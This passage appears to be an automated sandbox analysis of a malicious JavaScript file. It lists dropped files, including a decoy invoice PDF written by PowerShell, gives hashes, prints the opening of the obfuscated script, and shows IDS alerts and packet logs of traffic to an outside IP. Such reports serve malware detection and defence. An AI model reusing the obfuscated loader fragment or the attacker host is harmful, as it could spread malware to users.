Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\aebafe34-2453-4d93-97f9-5f64bd36c8b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16558), with CRLF line terminators
Entropy (8bit):	4.918964897362846
TrID:
File name:	8058323181786520440.js
File size:	20'131 bytes
MD5:	ed686b56ddb70cbe00b594c66090f7b9
SHA1:	adc68679b45f6176645cb1cd257c281950180e13
SHA256:	5a349c2cb11e93728a781bb28cf2b06d674a3f06f97d0b65df8bfa90ad50cef8
SHA512:	d3a0171b7939558f24524ce6ff67c7935a361173d2486fb85174452d9afb7276eab69b4d6b402676b7e196651148a9e2485c806707bdb027c12b6719eafa539d
SSDEEP:	384:hL92ADS6Pnn1ZWRuVdpPsvg7AadfuSXyOHZHoHtfRjUuq:JzTrl7L35IlR3q
TLSH:	7B9273CDE905D16F8CE246F6E4FF2DEA25C782C488ED625AEC9259CC178136051EBD38
File Content Preview:	function gparfcer(){kmmoty=[1031,3079,5127,4103,2055,3072];var hfsyn=this[qsystrs+dnqrgxgm+zpokia+jwyjznqqc+awlreqy+jrdafxncc+pekuwsgp+zsysdkz](this[xsobyqnlb+pdlxi+rwtnpfosy+zpokia+gtyybbf+qsystrs+zsysdkz][rznotzwe+zpokia+awlreqy+dnqrgxgm+zsysdkz+awlreqy

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:35:08.745594+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T23:35:11.337947+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:35:07.960133076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:07.965218067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:07.965312958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:07.968400955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:07.973294973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745475054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745532990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745570898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745594025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.745606899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745644093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745666027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.745683908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745721102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745721102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.745754957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745789051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745791912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.745827913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.745872974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.750792027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.788214922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.788270950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.788286924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.837924957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.867146969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867185116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867213011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867239952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867266893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867294073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867372990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.867372990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.867372990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.867671967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867707968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867758036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.867899895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867953062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867989063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.867993116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.868024111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868060112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868068933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.868839025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868855000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868870020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868885040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868896961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.868906021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.868906975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.868946075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.869693041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.869704962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.869715929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.869726896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.869744062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.869750977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.869761944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.916052103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.916752100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.955564976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.955614090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.955651045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.955692053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.955789089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.955789089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989058018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989113092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989160061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989166021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989207983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989223003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989259005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989291906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989316940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989326954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989362001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989370108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989398003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989434004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989439011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989729881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989774942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989784002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989819050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989854097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989866018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989890099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989923954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.989933014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.989962101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990006924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.990587950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990641117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990677118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990681887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.990712881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990746975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990777969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.990781069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990818977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.990823984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.991518974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991553068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991581917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.991589069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991630077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.991642952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991677046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991713047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991719007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.991755009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.991797924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.992444038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992497921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992532969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992536068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.992567062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992602110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992614031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.992635965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992671967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.992677927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.993343115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.993376970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.993436098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.996757030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.996788025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.996814013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:08.996843100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.996871948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:08.996892929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.005245924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.005275965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.005295992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.043850899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.043870926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.044024944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.077208042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.077282906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.077320099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.077354908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.077394962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.077425957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.077454090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.077454090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.080065012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111217976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111294985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111382961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111417055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111452103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111449957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111486912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111521959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111529112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111529112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111553907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111589909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111603022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111706018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111759901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111789942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111795902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111829996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111836910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.111869097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.111913919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.112124920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112160921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112195015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112202883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.112230062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112274885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.112711906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112745047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112780094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112812996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112818003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.112847090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112870932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.112881899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112917900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.112930059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.113507032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113540888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113574982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.113595009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113635063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113645077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.113668919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113703966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113730907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.113740921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.113781929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.114466906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114500999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114537954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114543915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.114603996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114636898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114646912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.114671946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114706039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.114713907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.115362883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115398884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115411043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.115436077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115478992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.115489006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115524054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115556002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115570068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.115592957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.115637064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.116287947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116298914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116306067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116338015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.116378069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116389990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116401911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116413116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.116422892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.116449118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.117314100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117326975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117337942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117350101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117362022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117372990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117383957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.117388964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.117388964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.117440939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.117440939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.118247986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.118259907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.118272066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.118283033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.118289948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:35:09.118295908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:35:09.118307114 CET	80	49704	193.143.1.205	192.168.2.5
